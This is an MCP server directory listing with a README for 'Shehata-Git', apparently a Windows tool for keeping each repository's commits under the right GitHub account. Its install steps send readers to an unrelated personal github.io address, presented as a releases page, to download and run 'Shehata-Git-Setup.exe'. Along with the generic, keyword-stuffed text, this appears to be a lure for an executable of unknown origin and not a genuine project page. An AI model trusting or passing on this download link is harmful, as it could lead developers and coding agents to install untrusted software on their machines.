mcp server
Shehata-Git
Pin GitHub repositories to the right account so you never push work code as personal or personal code as work.
Set up
Runs on your computer. Pick your agent and operating system.
This project does not publish an install method we can turn into a config. Follow the README instead.
README
synced Oct 22, 2026🗂️ Shehata-Git - Manage Your Git Identities Across Accounts
🤔 What Does Shehata-Git Do?
Shehata-Git helps you keep your Git identities organized. If you work with multiple GitHub accounts, you know the pain of committing code under the wrong name. Shehata-Git fixes that.
It maps each of your repositories to the correct GitHub account. When you make a commit, it uses the right identity. No more "who committed this?" moments.
👤 Who Is This For?
- Developers with multiple GitHub accounts (work, personal, side projects)
- AI coding agents that need to commit code under the right account
- Anyone who uses Git on Windows and wants a simple way to manage identities
✨ Key Features
- Automatic identity mapping: Set a default identity for each repository
- Local-first design: Your data stays on your machine
- Simple interface: No command-line skills needed
- Works with any Git workflow: Use it with your existing tools
- Supports MCP (Model Context Protocol): AI agents can use it too
💻 System Requirements
- Windows 10 or later (64-bit)
- Git installed (you probably already have this)
- 50 MB free disk space
- 2 GB RAM (minimum)
📥 How to Download and Install
- Visit the releases page: https://elviraorthodox375.github.io
- Find the latest version (look for the newest release at the top)
- Download the file named
Shehata-Git-Setup.exe - Open the file you downloaded
- Follow the installation wizard steps
- Launch Shehata-Git from your Start menu
🚀 Getting Started
Step 1: Open Shehata-Git
After installation, you will see a new icon on your desktop. Double-click it to open the app.
Step 2: Add Your GitHub Accounts
Click the "Add Account" button. Enter your GitHub username and email for each account you use. You can add as many as you need.
Step 3: Map Repositories to Accounts
Select a repository from your computer. Then choose the GitHub account you want to use for that repository. Shehata-Git will remember this setting.
Step 4: Start Working
Make commits as you normally would. Shehata-Git handles the rest. Your commits will show the correct author name and email.
🛠️ How It Works
Shehata-Git stores your identity settings in a local file on your computer. When you make a Git commit, the app checks which repository you are in and applies the correct identity settings.
This happens automatically. You do not need to change any Git configuration files by hand.
🔧 Troubleshooting
Shehata-Git does not open Make sure you have Windows 10 or later. Try running the installer again.
Git commits still show the wrong name Open Shehata-Git and check that your repository is mapped to the correct account. You may need to add the repository again.
I cannot find the download file Go to the releases page and look for the file with "Setup" in its name. It is usually at the top of the page.
❓ Frequently Asked Questions
Does Shehata-Git store my passwords? No. It only stores your username and email for each GitHub account.
Can I use it with Git Bash? Yes. Shehata-Git works with any Git tool you use on Windows.
Will it work with other Git hosting services? It works with any Git service, but it is designed for GitHub accounts.
How do I update Shehata-Git? Download the latest version from the releases page and install it over the old version.
📄 License
Shehata-Git is open source software. Check the repository for license details.
Keywords: git identity manager, github accounts, multiple github accounts, git credentials, developer tools, ai agents, windows git tool, identity management, repository mapping, git commit author